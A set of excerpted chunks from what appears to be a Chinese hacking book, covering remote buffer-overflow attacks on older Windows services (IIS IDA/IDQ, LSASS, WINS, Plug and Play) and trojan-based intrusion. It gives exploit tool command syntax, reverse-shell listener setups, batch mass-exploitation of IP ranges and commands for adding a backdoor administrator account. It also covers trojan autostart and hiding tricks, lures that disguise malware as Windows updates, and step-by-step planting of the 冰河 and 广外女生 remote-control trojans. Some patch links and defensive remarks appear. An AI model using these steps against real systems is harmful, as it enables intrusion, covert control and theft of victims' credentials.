    {"text": "② 命令格式： idahack <Host> <HostPort> <HostType> <ShellPort> ③ 参数说明： <Host>：远程服务器 IP <HostPort>：主机端口，指的是远程服务器用来提供 Web 服务的端口，一般为 80 <HostType>：主机类型，用来指定远程服务器操作系统和已经打的补丁类型 操作系统和打的补丁类型如下： 中文 win2000 : 1 中文 win2000， 补丁 SP1: 2 中文 win2000， 补丁 SP2: 3 中文 NT， 补丁 SP5: 13 中文 NT， 补丁 SP6: 14 <ShellPort>：指定溢出成功后打开的 Telnet 端口 169 黑客攻防实战详解 ④ 入侵思路：扫描远程服务器、iDA 溢出、Telnet 登录、建立账号、退出登录。"},
    {"text": "打开 X-Scan，填好扫描项目，开始扫描远程服务器，扫描完毕后，发现远程服务器存在 IDA 漏洞，经过手工验证返回“找不到 IDQ 文件 C:\\inetpub\\wwwroot\\1.ida”，确认远程服务器确实存在 IDA 漏洞，并进一步知道了远程服务器提供 Web 服务的目录。"},
    {"text": "当入侵者通过漏洞溢出等方式得到远程服务器控制权的时候，远程服务器就完全暴露于入侵 者面前，他们可以通过命令来远程控制计算机。 通常来说，当入侵者通过漏洞进入远程服务器后 会立即建立系统账号，然后再通过系统账号来连接远程服务器，也就是将“基于漏洞的入侵”转 化为“基于认证的入侵”。"},
    {"text": "图 4-9  net user zxcv 123456 /add：建立账号名为 zxcv，密码为 123456 的账号。  net localgroup administrators zxcv /add ：把 zxcv 加入管理员组，如图 4-10 所示。"},
    {"text": "（2）IDQ 入侵实例 ① IISIDQ 简介：IISIDQ 是 Snake 编写的 IDQ 溢出工具，有命令行和图形界面两种方式，而 且使用 IISIDQ 令远程服务器溢出后，有两种登录方式供选择。 其中一种方式是在漏洞溢出以后， IISIDQ 自动打开远程服务器的指定端口并等待连接，这时候，入侵者可以使用 nc 等工具远程连接 服务器。 这种方式使用的命令如下： iisidq.exe <操作系统类型> <目标 IP> <Web 端口> <1> <溢出监听端口> [输入命令 1] 另一种方式是在远程服务器溢出以后，IISIDQ 会让远程服务器主动连接入侵者所指定 IP 地 址，这种连接方式使入侵者能够穿透一些网络防火墙实现远程控制。 这种方式使用的命令如下： iisidq.exe <操作系统类型> <目标 IP> <Web 端口> <2> <溢出连接 IP> <溢出连接端口> [输入命 令 1] 需要说明的是，如果不加<输入命令 1>参数，那么默认执行的命令为“cmd.exe /c + dir”。"},
    {"text": "写好后保存为批处理文件（*.bat），*为文件名，可以任意取，这里命名为 pcl.bat。 步骤 2 文件的安排 将 MS04-007-dos.exe、s.exe、pcl.bat 放在同一目录下，同时打开 Result.txt 将其中内容清空。 步骤 3 使用 s.exe 扫描端口 在命令行下输入 s.exe syn 219.□.□.2 219.□.□.253 445/save，扫描结果如图 5-92 所示。 图 5-92 311 黑客攻防实战详解 步骤 4 批量溢出 在命令行方式下输入 pcl.bat，如图 5-93。"},
    {"text": "在批量溢出前可 以使用工具（如 Cping）对指定 IP 段进行 Ping 操作，确定哪些主机没有打开防火墙，在批量溢出 后再次使用工具（如 Cping）查看，如果发现之前可 Ping 通的主机中的部分主机已无法 Ping 通， 则说明这部分远程主机极有可能在被溢出成功，引发重新启动。"},
    {"text": "4．安全解决方案  Microsoft Windows NT? Workstation 4.0 Service Pack 6a 下载地址： http://www.microsoft.com/downloads/details.aspx?FamilyId=92400199-B3D5-4826-98D4-F13484 9F5249&displaylang=en  Microsoft Windows NT Server 4.0 Service Pack 6a 下载地址： http://www.microsoft.com/downloads/details.aspx?FamilyId=E8315430-90CD-4B20-8F54-585279 32B588&displaylang=en  Microsoft Windows NT Server 4.0 Terminal Server Edition Service Pack 6 下载地址： http://www.microsoft.com/downloads/details.aspx?FamilyId=D83B39D3-FF13-4D0B-B406-A225 AED0D659&displaylang=en  Microsoft Windows 2000 Service Pack 2, Microsoft Windows 2000 Service Pack 3, Microsoft 2000 Windows Service Pack 4 下载地址： http://www.microsoft.com/downloads/details.aspx?FamilyId=191853C4-A4D2-4797-A8C6-A2E66 3A53698&displaylang=en  Microsoft Windows XP, Microsoft Windows XP Service Pack 1 下载地址： http://www.microsoft.com/downloads/details.aspx?FamilyId=0CC30297-D4AE-48E9-ACD0-1343 D89CCBBA&displaylang=en 312 第 5 章 Windows 操作系统漏洞  Microsoft Windows XP 64-Bit Edition, Microsoft Windows XP 64-Bit Edition Service Pack 1 下 载地址： http://www.microsoft.com/downloads/details.aspx?FamilyId=383C397F-9318-4AD5-9C2C-057711 8A1E68&displaylang=en  Microsoft Windows XP 64-Bit Edition Version 2003, Microsoft Windows XP 64-Bit Edition Version 2003 Service Pack 1 下载地址： http://www.microsoft.com/downloads/details.aspx?FamilyId=FA280168-66E1-4B5F-958F-E178C3 F61F7C&displaylang=en  Microsoft Windows Server 2003 下载地址： http://www.microsoft.com/downloads/details.aspx?FamilyId=3D7FFFF9-A497-42FF-90E7-283732 B2E117&displaylang=en  Microsoft Windows Server 2003 64-Bit Edition 下载地址： http://www.microsoft.com/downloads/details.aspx?FamilyId=FA280168-66E1-4B5F-958F-E178C3 F61F7C&displaylang=en 5.3.5 Windows Local Security Authority Service 远程缓冲区溢出漏洞 1．漏洞描述（引自 http://www.nsfocus.net/）  发布日期：2004-04-13  更新日期：2004-04-15  受影响系统： Microsoft Windows XP Microsoft Windows 2003 Microsoft Windows 2000  详细描述 Microsoft Windows LSA 是本地安全授权服务（LSASRV.DLL） 。"},
    {"text": "一些活动目录服务在 Windows 目录中在“debug”子目录里生成调试日志文件，在 LSASRV. DLL 实现的记录函数写信息条目到日志文件中，这里的 vsprintf()函数用于建立日志条目。"},
    {"text": "3．漏洞检测 （1）方法一：使用 X-Scan 扫描 使用 X-Scan 扫描指定 IP 段，设置扫描项目如图 5-94 所示。 313 黑客攻防实战详解 图 5-94 （2）方法二：使用 DSScan 扫描 DSScan 是一个专用于扫描 Windows Local Security Authority Service 远程缓冲区溢出漏洞的工 具，运行后如图 5-95 所示。 在扫描器中输入相应的 IP 段就可以进行快速扫描，当某 IP 后出现 “VULNERABLE”则说明相对应的远程主机有可能存在此漏洞。 图 5-95 4．漏洞利用  使用工具：ms04011、gimme  命令格式：ms04011 type targetIP Port ConnectBackIP type 为远程主机的操作系统编码，0 代表 Windows 2000，1 代表 Windows XP。"},
    {"text": " 工具说明： ms04011 是一个针对微软安全公告 MS04-011 中所涉及漏洞（Windows Local Security Authority 314 第 5 章 Windows 操作系统漏洞 Service 远 程 缓 冲 区 溢 出 漏 洞 ） 的 专 用 攻 击 工 具 。"},
    {"text": "图 5-98 315 黑客攻防实战详解 X-Scan 在扫描出漏洞的同时也给出了远程机操作系统的类型，219.□.□.90 运行的操作系统 为 Windows XP，使用 ms04011.exe 对 219.□.□.90 进行溢出攻击，显示如图 5-99 所示。"},
    {"text": "5．安全解决方案  Microsoft Windows 2000 Service Pack 2、Microsoft Windows 2000 Service Pack 3、Microsoft Windows 2000 Service Pack 4 下载地址： http://www.microsoft.com/downloads/details.aspx?FamilyId=0692C27E-F63A-414C-B3EB-D2342 FBB6C00&displaylang=en  Microsoft Windows XP、Microsoft Windows XP Service Pack 1 下载地址： http://www.microsoft.com/downloads/details.aspx?FamilyId=3549EA9E-DA3F-43B9-A4F1-AF24 3B6168F3&displaylang=en  Microsoft Windows XP 64-Bit Edition Service Pack 1 下载地址： http://www.microsoft.com/downloads/details.aspx?FamilyId=C6B55EF2-D9FE-4DBE-AB7D-73A 20C82FF73&displaylang=en 316 第 5 章 Windows 操作系统漏洞  Microsoft Windows XP 64-Bit Edition Version 2003 下载地址： http://www.microsoft.com/downloads/details.aspx?FamilyId=C207D372-E883-44A6-A107-6CD2D 29FC6F5&displaylang=en 5.3.6 Microsoft WINS 服务远程缓冲区溢出漏洞 1．漏洞描述（引自 http://www.nsfocus.net/）  发布日期：2004-12-14  更新日期：2004-12-15  受影响系统： Microsoft Windows NT 4.0 SP6a Microsoft Windows 2003 Microsoft Windows 2000 SP4 Microsoft Windows 2000 SP3  详细描述 Microsoft Windows WINS 是 Microsoft NetBIOS 名字服务， 用于将 NetBIOS 计算机名解析为 IP 地址。"},
    {"text": "这里为了使用方便，将 TCP Porter Scanner.exe 重命名为 s.exe，其使用说明与使 用示例如图 5-103 所示。 图 5-103 这里要说明一下/save 参数，在命令行中加入此参数后，每次扫描的结果都会存入与 TCP Porter Scanner 同一目录下的 Result.txt 中。"},
    {"text": "3．漏洞利用  使用工具：MS04-045  命令格式：MS04-045 [-h] [-r host] [-t targets] [-l listen host] [-p listen port]  hostname 指目标主机 IP 或目标主机名。"},
    {"text": "步骤 1 漏洞检测 打开 X-Scan 扫描 192.168.116.2~192.168.116.253，发现 192.168.116.130 存在此漏洞，如图 5-104 所示。 图 5-104 318 第 5 章 Windows 操作系统漏洞 步骤 2 溢出远程主机 打开命令行窗口，输入“nc –l –p 1055”，1055 是入侵者希望远程主机反弹连接到的端口号， 这个端口号一定要未被占用过，如图 5-105 所示。 图 5-105 新打开一个命令行窗口，输入“ms04-045.exe –r 192.168.116.130 -t 0 -l 219.□.□.42 -p 1055”， 如图 5-106 所示。"},
    {"text": "利用批处理文件的第一种方式是针对存在 Microsoft WINS 服务远程缓冲区溢出漏洞某一台的 主机，编写批处理文件对固定的某台主机重复进行溢出攻击，可以大大提高成功概率。 利用批处理文件的第二种方式是针对存在 Microsoft WINS 服务远程缓冲区溢出漏洞的多台主 机，编写批处理文件进行同时的溢出攻击。"},
    {"text": "4．安全解决方案  Microsoft Windows NT Server 4.0 Service Pack 6a 下载地址： http://www.microsoft.com/downloads/details.aspx?FamilyId=38E9DB8C-5C43-4E9A-9DC9-97C2 686A45F1 319 黑客攻防实战详解  Microsoft Windows NT Server 4.0 Terminal Server Edition Service Pack 6 下载地址： http://www.microsoft.com/downloads/details.aspx?FamilyId=D7AB3F6F-26FE-4AE8-A07A-481D 772D03A6  Microsoft Windows 2000 Service Pack 3 and Microsoft Windows 2000 Service Pack 4 下载地 址： http://www.microsoft.com/downloads/details.aspx?FamilyId=40146B52-5546-489E-857E-01FE1E F709B2  Microsoft Windows Server 2003 下载地址： http://www.microsoft.com/downloads/details.aspx?FamilyId=10836F38-A38B-47D5-B87B-18D8E 26EEFAA  Microsoft Windows Server 2003 64-Bit Edition 下载地址： http://www.microsoft.com/downloads/details.aspx?FamilyId=06CF9E85-C66D-4A7D-B2EB-99DE 9423B60F 5.3.7 Microsoft Windows 即插即用功能远程缓冲区溢出漏洞 1．漏洞描述（引自 http://www.nsfocus.net/）  发布日期：2005-08-10  更新日期：2005-08-10  受影响系统： Microsoft Windows XP SP2 Microsoft Windows XP SP1 Microsoft Windows Server 2003 SP1 Microsoft Windows Server 2003 Microsoft Windows 2000 SP4  不受影响系统： Microsoft Windows Me Microsoft Windows 98SE Microsoft Windows 98  详细描述 Microsoft Windows 即插即用（PnP）功能允许操作系统在安装新硬件时能够检测到这些设备。 Microsoft Windows 即插即用功能中存在缓冲区溢出漏洞，成功利用这个漏洞的攻击者可以完全控 制受影响的系统。"},
    {"text": "320 第 5 章 Windows 操作系统漏洞 3．漏洞检测 较好的漏洞的检测方法是使用 Microsoft Windows 即插即用功能远程缓冲区溢出漏洞的专用扫 描工具——MS05-039Scan 1.0，其运行界面如图 5-109 所示。"},
    {"text": "为了进一步地确定漏洞的利用类型（远程缓冲 区溢出或本地提权） ，还需要知道远程主机上 Windows 操作系统的系统类型，可以使用 X-Scan 进行 扫描以获取远程主机的操作系统类型，其运行界面如图 5-110 所示，扫描设置选项如图 5-111 所示。"},
    {"text": "利用思路：使用 MS05-039Scan 1.0 查找存在 Microsoft Windows 即插即用功能远程缓冲区溢出 漏洞的远程主机。 选定其中一台存在漏洞的远程主机，使用 ms05039.exe 进行溢出攻击，成功后 使用 nc.exe 连接到远程主机的 8721 端口。 321 黑客攻防实战详解 步骤 1 漏洞扫描 打开 MS05-039Scan 1.0，输入远程主机所在 IP 段的起始地址与结束地址后，单击“ ”按钮， 将 IP 地址段添加到扫描范围中，如图 5-112 所示。"},
    {"text": "步骤 2 确定远程主机类型 打开 X-Scan 扫描 IP 地址为 192.168.0.128 的远程主机，如图 5-114 所示。 图 5-113 图 5-114 根据扫描结果，远程主机安装的操作系统是 Windows 2000，也就是说可以远程利用 Microsoft Windows MSHTA 脚本执行漏洞，如果溢出成功，会获取系统管理员权限。"},
    {"text": "图 5-115 322 第 5 章 Windows 操作系统漏洞 步骤 4 远程溢出 打开命令行窗口，转到 ms05039.exe 所在的目录，输入“ms05039.exe 192.168.0.128 192.168.0.1 7755 1” ，运行后结果如图 5-116 所示。"},
    {"text": "图 5-116 打开本地监听查看，发现已连接到了远程主机上，如图 5-117 所示。 图 5-117 对远程主机添加账号成功，说明已获得管理员权限，如图 5-118 所示。"},
    {"text": "图 5-118 说明：在网上可以找到其他版本的 Microsoft Windows 即插即用功能远程缓冲区溢出漏洞的远 程溢出工具，但根据笔者的实际操作，以本例介绍的反向连接工具溢出成功率最高。"},
    {"text": "5．安全解决方案  Microsoft Windows 2000 Service Pack 4 下载更新： http://www.microsoft.com/downloads/details.aspx?FamilyId=E39A3D96-1C37-47D2-82EF-0AC89 905C88F  Microsoft Windows XP Service Pack 1 和 Microsoft Windows XP Service Pack 2 下载更新： http://www.microsoft.com/downloads/details.aspx?FamilyId=9A3BFBDD-62EA-4DB2-88D2-415 E095E207F  Microsoft Windows XP Professional x64 Edition 下载更新： http://www.microsoft.com/downloads/details.aspx?FamilyId=89D90E25-4773-4782-AD06-9B7517 BAB3C8  Microsoft Windows Server 2003 和 Microsoft Windows Server 2003 Service Pack 1 下载更新： http://www.microsoft.com/downloads/details.aspx?FamilyId=6275D7B7-DAB1-47C8-8745-533EB 471072C 323 黑客攻防实战详解  Microsoft Windows Server 2003 for Itanium-based Systems 和 Microsoft Windows Server 2003 with SP1 for Itanium-based Systems 下载更新： http://www.microsoft.com/downloads/details.aspx?FamilyId=BE18D39D-3E4C-4C6F-B841-2CCD 8D4C3F50  Microsoft Windows Server 2003 x64 Edition 下载更新： http://www.microsoft.com/downloads/details.aspx?FamilyId=D976316D-3B17-4AD4-9198-513FF DAC98E4 5.4 小结 本章从本地提权、用户利用和远程溢出三个角度介绍了 Windows 操作系统漏洞，其中既有以 前的经典漏洞，也有 2005 年出现的较新的漏洞，随着时间的流逝。"},
    {"text": "故事来源于古希腊神话，公元前 1193 年，特 洛伊国王普里阿摩斯和他的二儿子——帕里斯王子在希腊斯巴达王麦尼劳斯的宫中受到了盛情的 款待。"},
    {"text": "由于特洛伊城池牢固易守难攻，希腊军队和特洛 伊勇士们对峙长达 10 年之久，最后英雄奥德修斯献上妙计，让希腊士兵全部登上战船，制造撤兵 的假象，并故意在城前留下一具巨大的木马。"},
    {"text": "当晚， 正当特洛伊人沉湎于美酒和歌舞的时候，藏在木马腹内的 20 名希腊士兵杀出，打开城门，里应外 合，特洛伊立刻被攻陷，杀戮和大火将整个城市毁灭，持续 10 年之久的战争终于结束。"},
    {"text": "作为一个计算机程序，木马主要有以下功能。  随系统启动  入侵无需系统认证  远程控制  密码截取  屏幕监视  支持邮件发送  部分木马还有主动连接功能 入侵者使用木马主要有以下目的。"},
    {"text": "如果是入侵者，那么木马是用于入 侵目的； 如果是网管，那么木马是用来进行远程管理的。 但是恶性木马就不然，它几乎可以隶属 于“病毒”家族，这种木马通常对系统进行恶意地破坏，甚至传播病毒。"},
    {"text": "不 黑客攻防实战详解 过需要特别说明的是，由于木马的功能过于强大，所以杀毒软件对所有木马都进行疯狂的查杀， 即使最新的木马也不能存活很长时间。"},
    {"text": "6.1 木马的工作原理 掌握一个工具的使用方法，最好能够了解该工具的工作原理。 为了使读者能够更好地了解“基 于木马的入侵”，有必要介绍一下木马的工作原理。 6.1.1 木马是如何工作的 一般来说，木马程序包括客户端与服务端两部分。"},
    {"text": "其中，客户端运行在入侵者的操作系统上， 是入侵者控制目标主机的平台； 服务端则运行在目标主机上，是被控制的平台，一般发送给目标 主机的就是服务端文件。"},
    {"text": "目前，木马主要是依靠邮件、下载等途径进行传播。 然后，木马通过一定的提示诱使目标主 机运行木马的服务端程序，实现木马的种植。 例如，入侵者伪装成目标主机用户的朋友，发送了 一张捆绑有木马的电子贺卡。 当目标主机打开贺卡后，屏幕上虽然会出现贺卡的画面，但此时木 马服务端程序已经在后台运行了。"},
    {"text": "3．通信端口的隐藏 通常，一台计算机有 65536 个端口，木马的通信就是通过这些端口中的一个。 如果用户稍微 留意，不难发现大多数木马使用的端口号都在 1024 以上，而且呈越来越大的趋势。 因为如果占用 1024 以下的低端口，很可能使造成端口冲突，这样的话，木马就很容易暴露。 此外，目前有很多 木马提供了端口修改功能，可以随时修改端口号，避免被发现。 4．加载方式的隐藏 木马加载的方式可以说千奇百怪，但目的只有一个，就是让目标主机运行木马。"},
    {"text": "5．最新隐身技术 在 Windown 98 时代，简单地注册为系统进程就可以实现木马从任务栏中消失的目的，可是在 Windows 2000，Windows XP 为主流的今天，这种方法显然是行不通的。"},
    {"text": "通过修改虚拟设备驱动程序(VXD)或修改动态 链接库（DLL）来加载木马。 这种方法与一般方法不同，它基本上摆脱了原有的木马模式——监 听端口，而采用替代系统功能的方法（改写 VXD 或 DLL 文件），木马会将修改后的 DLL 替换系 统已知的 DLL，并对所有的函数调用进行过滤。 被替换的 DLL 文件对网络进行监听，一旦发现控 制端的请求就激活自身，并将自己绑在一个进程上进行相关的木马操作。"},
    {"text": "6.1.3 木马是如何启动的 作为一个优秀的木马，自启动功能是必不可少的。 自启动可以保证木马不会因为用户的一次 关机操作而彻底失去作用。"},
    {"text": "run= C:\\windows\\sample.exe load= C:\\windows\\sample.exe 2．在 System.ini 中启动 System.ini 位于 Windows 的安装目录下，其中[boot]字段的 shell=Explorer.exe 是木马常用来的 隐藏加载的地方。 通常的做法是将该项变为 shell=Explorer.exe sample.exe。 这里的 sample.exe 就是 木马服务端程序。"},
    {"text": "图 6-2 启动组在注册表中对应的位置是： “HKEY_CURRENT_USER\\Software\\MICROSOFT\\ Windows\\ CurrentVersion\\Explorer\\ShellFolders” ，在右面的属性栏中可以找到 Startup 属性，如图 6-3 所示。"},
    {"text": "4．*.ini 后缀为 ini 的文件是系统中应用程序的启动配置文件，木马程序利用这些文件能自启动应用程 328 第 6 章 基于木马的入侵 序的特点，将制作好的带有木马服务端程序自启动命令的文件上传到目标主机中，这样就可以达 到启动木马的目的了。 图 6-3 5．修改文件关联 修改文件关联是木马常用手段，例如，在正常情况下 TXT 文件的打开方式为 Notepad.EXE 文 件，但一旦中了文件关联木马，则 TXT 文件打开方式就会被修改为用木马程序打开，如著名的国 产木马冰河就是这样。 冰河木马通过修改 HKEY_CLASSES_ROOT\\txtfile\\shell\\open\\command 下的键值，将 \"C:\\ WINDOWS\\NOTEPAD.EXE%l\"改为\"%SystemRoot%\\system32\\SYSEXPLR.EXE%1\"，如图 6-4 所示。 图 6-4 只要用户双击任意一个 TXT 文件，原本应该用 Notepad.exe 程序打开 TXT 文件，现在就变成 启动在 C:\\WINDOWS\\SYSTEM 目录下的 sample.exe 这个木马程序了。 请读者注意，不仅仅是 TXT 文件，其他诸如 HTM、EXE、ZIP 等都是木马的目标。"},
    {"text": "入侵者在完成了文件的捆绑之后， 会将捆绑文件放到网站，FTP，BT 等资源下载场所，当用户下载并执行捆绑文件，同时就启动了 木马的服务端程序。"},
    {"text": "反弹技术解决了传统的远程控制软件不 329 黑客攻防实战详解 能访问装有防火墙和控制局域网内部的远程计算机的难题。 反弹端口型软件的原理是，客户端首 先登录到 FTP 服务器，编辑在木马软件中预先设置的主页空间上面的一个文件，并打开端口监听， 等待服务端的连接，服务端定期用 HTTP 协议读取这个文件的内容，当发现是客户端让自己开始 连接时，就主动连接，如此就可完成连接工作。"},
    {"text": "6.1.4 黑客如何欺骗用户运行木马 木马是一个软件，它由使用者传播或种植，而不会“长腿”自己跑到用户的机器上，正像《特 洛伊》剧情中描述的一样，木马往往是用户自己将其带进计算机中的。 有了木马程序，如果没有 高超的骗术，木马也无用武之地，因此，这里将简单地介绍几种网络上流行的欺骗方法，目的是 让读者了解这些骗术的内容，如果遇到类似情况，也可以当场揭穿而不会付出城池失守的代价。 1．捆绑欺骗 把木马服务端和某个游戏，或者 flash 文件捆绑成一个文件通过 QQ 或邮件发给受害者。"},
    {"text": "2．邮件冒名欺骗 现在上网的用户很多，但其中一些用户的电脑知识并不丰富，防范意识也不强，当黑客用匿 名邮件工具冒充用户的好友或大型网站、政府机构向目标主机用户发送邮件，并将木马程序作为 附件。"},
    {"text": "首先，将一个木马和一个损坏的 ZIP/RAR 文件包（可自制） 捆绑在一起，生成一个后缀名为.exe 的文件。 然后指定捆绑后的文件为 ZIP/RAR 文件图标，这样 一来，除了后缀名与真正的 ZIP/RAR 文件不同，执行起来却和一般损坏的 ZIP/RAR 没什么两样， 根本不知道其实已经有木马在悄悄运行了。"},
    {"text": "4．网页欺骗 也许读者在网上都有这样的经历，当用户在聊天的时候，入侵者发给用户一些陌生的网址， 并且说明网站上有一些比较吸引人的东西或者热门的话题。 如果用户不够警惕，或者好奇心较强， 不幸单击了这个链接，在网页弹出的同时，用户的机器也可能已经被种下了木马。 5．利用 net send 命令欺骗 net send 命令是 DOS 提供的在局域网内发送消息的内部命令，命令格式如下：net send [目标 机的 IP 地址／目标机的机器名] [消息内容]。 因此如果用户对此命令一无所知，则黑客就可以利用 这个命令将自己伪装成为系统用户或网络上的著名公司来发送欺骗性的消息，让用户跳进黑客设 定好的圈套之中，这样黑客就可以很容易地在目标机中种植木马。 比如，先做好一个类似 Windows 补丁下载的网站，将木马伪装成 Windows Update 程序。"},
    {"text": "330 第 6 章 基于木马的入侵 图 6-5 接下来，目标机用户的桌面将弹出一个包含上图中消息的对话框，如果用户不是很了解电脑 知识，那么用户就很可能进入陷阱而去网站下载黑客伪装好的“Windows 更新程序”，打开“升级” 后，用户就已经成为黑客的操纵目标之一了。 总结：随着木马技术的发展，木马的欺骗手段也层出不穷，但是只要读者在网上冲浪的时候 不放松警惕，防范木马是可以做到的。 6.2 木马的种类 1．破坏型 惟一的功能就是破坏并且删除文件，可以自动的删除电脑上的 DLL、INI、EXE 文件，达到 使电脑瘫痪的目的。"},
    {"text": "有些用户喜欢把各种密码以文件的形式存放 在计算机中，认为这样比较方便； 还有一些用户喜欢用 Windows 提供的密码记忆功能，这样就可 以不必每次都输入密码了。 许多黑客软件可以寻找到这些文件，也有些黑客软件长期潜伏，记录 操作者的键盘操作，从中寻找有用的密码。"},
    {"text": "3．远程访问型 远程访问型木马程序一般包括客户端程序和服务端程序，在目标主机上执行了服务端程序后， 只要用户知道目标主机的 IP 地址或主机名，就可以与目标主机连接。"},
    {"text": "它们只做一件事情，就是记录目标主机用户的键盘操作，并 331 黑客攻防实战详解 且将键盘操作记录在文件中，入侵者可以获得这些文件并在文件中获取诸如密码等有用的信息。 针对这种类型的木马，某些软件使用了软键盘来防止用户的键盘操作被记录，例如 QQ 软件的新 版本中就增加了软键盘功能，用户可以通过单击鼠标输入密码，增强了安全性，如图 6-6 所示。"},
    {"text": "当入侵者入侵 了一台机器后，给目标主机种上 DoS 攻击木马，那么日后这台计算机就成为入侵者进行 DoS 攻击 的最得力助手了，即所谓的肉鸡。 入侵者控制的肉鸡数量越多，发动 DoS 攻击取得成功的概率就 越大。"},
    {"text": "还有一种类似 DoS 的木马叫做邮件炸弹木马，一旦机器被感染，木马就会随机生成各种各样 主题的信件，对特定的邮箱不停地发送邮件，一直到对方瘫痪、不能接收邮件为止。"},
    {"text": "6．代理木马 黑客在入侵的同时掩盖自己的足迹，谨防别人发现自己的身份是非常重要的，因此，给被控 制的肉鸡种上代理木马，让其变成入侵者发动攻击的跳板就是代理木马最重要的任务。 通过代理 木马，入侵者可以在匿名的情况下使用 Telnet，ICQ，IRC 等程序，从而隐蔽自己的踪迹。"},
    {"text": "7．FTP 木马 这种木马可能是最简单和古老的木马了，它的惟一功能就是打开 21 端口，等待用户连接。 现 在新 FTP 木马还加上了密码功能，这样，只有入侵者本人才知道正确的密码，从而进入对方计算 机。 8．程序杀手木马 上面的木马功能虽然形形色色，不过到了对方机器上要发挥自己的作用，还要过查杀木马软 件这一关才行。 常见的查杀木马软件有 ZoneAlarm，Norton Anti-Virus 等。 程序杀手木马的功能就 是关闭目标机上运行的木马查杀程序，让木马更好地发挥作用。 9．反弹端口型木马 木马开发者在分析了防火墙的特性后发现：防火墙对于连入的链接往往会进行非常严格的过 滤，但是对于连出的链接却疏于防范。"},
    {"text": "为了隐蔽起见，客户端的被动端口一般为 80，即使用户使用扫描软件检查自己的端口，也不 会发现什么异常的数据包，这样就会以为是在正常浏览网页。"},
    {"text": "第一代木马功能简单，主要对付 UNIX 系统， 而针对 Windows 系统的第一代木马为数不多，只有 BO，Netspy 等少量木马，功能也非常简单。 第一代 Windows 木马只是一个将自己伪装成特殊的程序或文件的软件，如本身伪装成一个用户登 录窗口，当用户运行了木马伪装的登录窗口，输入用户名与密码后，木马将自动记录数据并转发 给入侵者，入侵者借此来获得用户的重要信息，达到自己的目的。"},
    {"text": "第二代木马相对于第一 代木马，技术与功能出现了质的变化，第二代木马可以被看做现代木马的雏形，提供了几乎所有 能够进行的远程控制操作。"},
    {"text": "第三代木马继续完善连接与文件传输技术，并增加了木马穿透防火墙的功能，并出现了“反 弹端口”技术，如国内的灰鸽子木马软件。 第四代木马除了完善前辈们所有的技术外，还利用了远程线程插入技术，将木马线程插入 DLL 线程中，使系统更加难以发现木马的存在与入侵的连接方式。 第五代木马相对于第四代木马，功能更加全面，而且应用动态链接库技术（DLL 技术）后在 目标主机的计算机中不生成新的文件。"},
    {"text": "本章按照木马的演变顺序为读者详细介绍每一代木马的特点与操作方法，由于第一代木马过 于简单，本书就直接为读者介绍第二代木马，以及具有代表性的两款木马：冰河与广外女生。 6.4 第二代木马 在国内，冰河与广外女生被认为是标准的第二代木马，它们以强大的功能、方便的操作曾经 占领了国内木马界半壁江山，本节就以这两个具有代表性的木马为例，来看看这些木马的特点， 以及入侵者是如何使用这些木马来控制远程主机的。 6.4.1 冰河 1．简介 冰河（Glacier）是一款优秀的国产木马。"},
    {"text": " G_Server.exe：被监控端后台监控程序（运行一次即自动安装，可任意改名），在安装前可 以先在“G_Client”中对“配置本地服务器程序”功能进行一些特殊配置，例如是否将动 态 IP 发送到指定信箱，是否需要改变监听端口，以及设置访问口令等。  G_Client.exe：监控端执行程序，用于监控远程计算机和配置服务器程序。"},
    {"text": " 自动跟踪目标机屏幕变化，同时可以完全模拟键盘及鼠标输入，即在同步被控端屏幕变化 的同时，监控端的一切键盘及鼠标操作将反映在被控端屏幕（局域网适用） 。"},
    {"text": " 记录各种口令信息：包括开机口令、屏保口令、各种共享资源口令及绝大多数在对话框中 333 黑客攻防实战详解 出现过的口令信息，且 1.2 以上的版本中允许用户对该功能自行扩充，2.0 以上版本还同时 提供了击键记录功能。"},
    {"text": " 远程文件操作：包括创建、上传、下载、复制、删除文件或目录、文件压缩、快速浏览文 本文件、远程打开文件（提供了四种不同的打开方式——正常方式、最大化、最小化和隐 藏方式）等多项文件操作功能。"},
    {"text": "3．实例 使用工具：  冰河木马  QQ，用于发送木马 思路：配置冰河服务端、种植木马、远程控制。 步骤 1 配置冰河服务端 打开冰河客户端（G_Client.exe），单击文件 ，打开后界面如图 6-7 所示，不过要注意千万 不要执行 G_Server.exe 这个程序，执行 G_Server.exe 后，会在本地机上种植木马。 如图 6-8 所示，选择“设置[G]”→“配置服务器程序[C]”来配置木马服务端。"},
    {"text": " 提示信息：当远程管理员执行木马服务端程序（默认名为 G_Server.exe）时弹出来的提示 信息，一般设定为某些出错信息，如“文件损坏，请重新下载”等，也可以不设置弹出信 息，这个提示信息只是为了迷惑管理员。"},
    {"text": "如果远程主机的 IP 地址是动态变化的（比如拨号上网方式得到的 IP 地址），那么入侵者可以 使用该功能让远程主机把变化后的 IP 地址发送到入侵者的邮箱里，参数设置界面如图 6-11 所示。"},
    {"text": "需要自己向邮件服务商询 问，国内常用的 SMTP 服务器地址有 smtp.163.com、smtp.371.net、smtp. 21cn.com、 smtp.china.com、smtp.etang.com、smtp.sina.com.cn、smtp.chinaren.com。"},
    {"text": "步骤 2 种植木马 当服务端程序配置成功后，下一步入侵者就要想方设法让远程主机执行该木马服务端程序， 即种植木马。 一般来说，入侵者在种植之前，都需要先把服务端改名，这样不容易被对方管理员 335 黑客攻防实战详解 发现破绽。"},
    {"text": "首先，在冰河客户端主界面 上，选择“文件[F]”→“添加主机[A]”或单击主界面上的快捷图标 来添加主机，在图 6-13 中 填入远程主机的 IP 地址 10.10.1.1 和访问口令 hack，然后单击“确定”按钮。"},
    {"text": "图 6-21 图 6-22 网络类命令  创建共享  删除共享  网络信息 文件类命令  文本浏览  文本查找  文件压缩  文件复制  文件删除  文件打开  目录增删  目录复制 注册表读写  键值读取  键值写入  键值重命名  主键浏览 338 第 6 章 基于木马的入侵  主键增删  主键复制  主键重命名 设置类命令  更换墙纸：足够让目标主机管理员大吃一惊的功能。"},
    {"text": "图 6-23 2．实例：通过广外女生实现远程控制 思路：配置广外女生服务端、种植木马、远程控制。 步骤 1 配置广外女生服务端 打开广外女生客户端，选择“服务端设置”选项卡，如图 6-24 所示。 图 6-24 339 黑客攻防实战详解 然后，选择“自定义”对服务端进行设置。"},
    {"text": " 生成文件：填入预生成服务端程序文件名，起个有诱惑性的名字来让远程主机执行。 设置完毕后，单击“生成服务端”按钮，即可生成服务端程序，生成的文件图标可以设置为 。"},
